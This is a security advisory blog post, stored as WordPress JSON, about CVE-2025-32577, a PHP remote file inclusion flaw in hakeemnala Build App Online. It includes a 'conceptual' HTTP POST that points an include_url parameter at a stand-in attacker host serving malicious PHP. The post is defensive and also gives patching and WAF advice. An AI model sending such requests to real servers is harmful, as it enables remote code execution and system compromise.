{"id":25837,"date":"2025-04-17T18:01:49","date_gmt":"2025-04-17T18:01:49","guid":{"rendered":""},"modified":"2025-04-26T06:01:12","modified_gmt":"2025-04-26T06:01:12","slug":"cve-2025-32577-php-remote-file-inclusion-vulnerability-in-hakeemnala-build-app-online","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-32577-php-remote-file-inclusion-vulnerability-in-hakeemnala-build-app-online\/","title":{"rendered":"<strong>CVE-2025-32577: PHP Remote File Inclusion Vulnerability in hakeemnala Build App Online<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The cybersecurity world is under alert over a severe vulnerability, identified as CVE-2025-32577, in the hakeemnala Build App Online. This flaw relates to the improper control of filename for an include\/require statement in PHP programming, a situation known as PHP Remote File Inclusion (RFI). RFI is a critical security flaw that can potentially <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3328-buffer-overflow-vulnerability-in-tenda-ac1206-could-lead-to-system-compromise\/\"  data-wpil-monitor-id=\"29862\">lead to system<\/a> compromise or data leakage. It affects <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32603-sql-injection-vulnerability-in-hk-wp-online-users-stats\/\"  data-wpil-monitor-id=\"32350\">users of hakeemnala Build App Online<\/a> up to version 1.0.23, highlighting the urgent need for mitigation actions.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-32577<br \/>\nSeverity: Critical (9.8 CVSS Severity Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-33113-memory-corruption-vulnerability-leading-to-system-compromise-or-data-leakage\/\"  data-wpil-monitor-id=\"31364\">System compromise or data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3759066221\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>hakeemnala Build App Online | Up to 1.0.23<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The flaw takes advantage of the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20936-escalation-of-privileges-through-improper-access-control-in-hdcp-trustlet\/\"  data-wpil-monitor-id=\"30660\">improper control<\/a> of filename for an include\/require statement in a PHP program. By leveraging this vulnerability, an attacker can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-23186-sap-netweaver-application-server-abap-vulnerability-exposing-remote-credentials\/\"  data-wpil-monitor-id=\"31284\">remotely include a file from an external server<\/a> that contains malicious PHP code. Once the file is included, the malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-45199-remote-code-execution-vulnerability-in-insightsoftware-hive-jdbc\/\"  data-wpil-monitor-id=\"29918\">code is executed in the context of the vulnerable<\/a> application, potentially leading to a system compromise or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3943136999\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a conceptual example of how the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-50123-exploitable-vulnerability-in-hozard-alarm-system-sms-authentication\/\"  data-wpil-monitor-id=\"35998\">vulnerability might be exploited<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/buildapp.php HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/x-www-form-urlencoded\ninclude_url=http:\/\/malicious.example.com\/malicious.php<\/code><\/pre>\n<p>In this example, a malicious actor sends a POST request to the vulnerable endpoint (`buildapp.php`) with a parameter (`include_url`) that references a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32614-php-remote-file-inclusion-vulnerability-in-ashan-perera-eventon\/\"  data-wpil-monitor-id=\"33050\">PHP file<\/a> hosted on an external server (`malicious.example.com`). This file (`malicious.php`) contains the malicious PHP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-41788-critical-code-execution-vulnerability-in-sentron-7kt-pac1260-data-manager\/\"  data-wpil-monitor-id=\"30694\">code intended to be executed<\/a> by the application.<\/p>\n<p><strong>Recommendation<\/strong><\/p>\n<p>It is highly recommended that users of <a href=\"https:\/\/www.ameeba.com\/blog\/fortinet-s-fortigate-vulnerability-ssl-vpn-symlink-exploit-puts-user-access-at-risk-post-patching\/\"  data-wpil-monitor-id=\"30035\">hakeemnala Build App<\/a> Online apply the patch provided by the vendor to mitigate this vulnerability. If the patch is not yet available or cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation strategy. Regularly updating and patching systems, especially those exposed to the internet, is a good <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3495-critical-security-vulnerability-in-delta-electronics-commgr-due-to-insufficiently-randomized-session-ids\/\"  data-wpil-monitor-id=\"35997\">security practice to prevent exploitation of such vulnerabilities<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The cybersecurity world is under alert over a severe vulnerability, identified as CVE-2025-32577, in the hakeemnala Build App Online. This flaw relates to the improper control of filename for an include\/require statement in PHP programming, a situation known as PHP Remote File Inclusion (RFI). RFI is a critical security flaw that can potentially lead [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-25837","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/25837","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=25837"}],"version-history":[{"count":10,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/25837\/revisions"}],"predecessor-version":[{"id":31642,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/25837\/revisions\/31642"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=25837"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=25837"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=25837"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=25837"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=25837"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=25837"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=25837"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=25837"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=25837"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}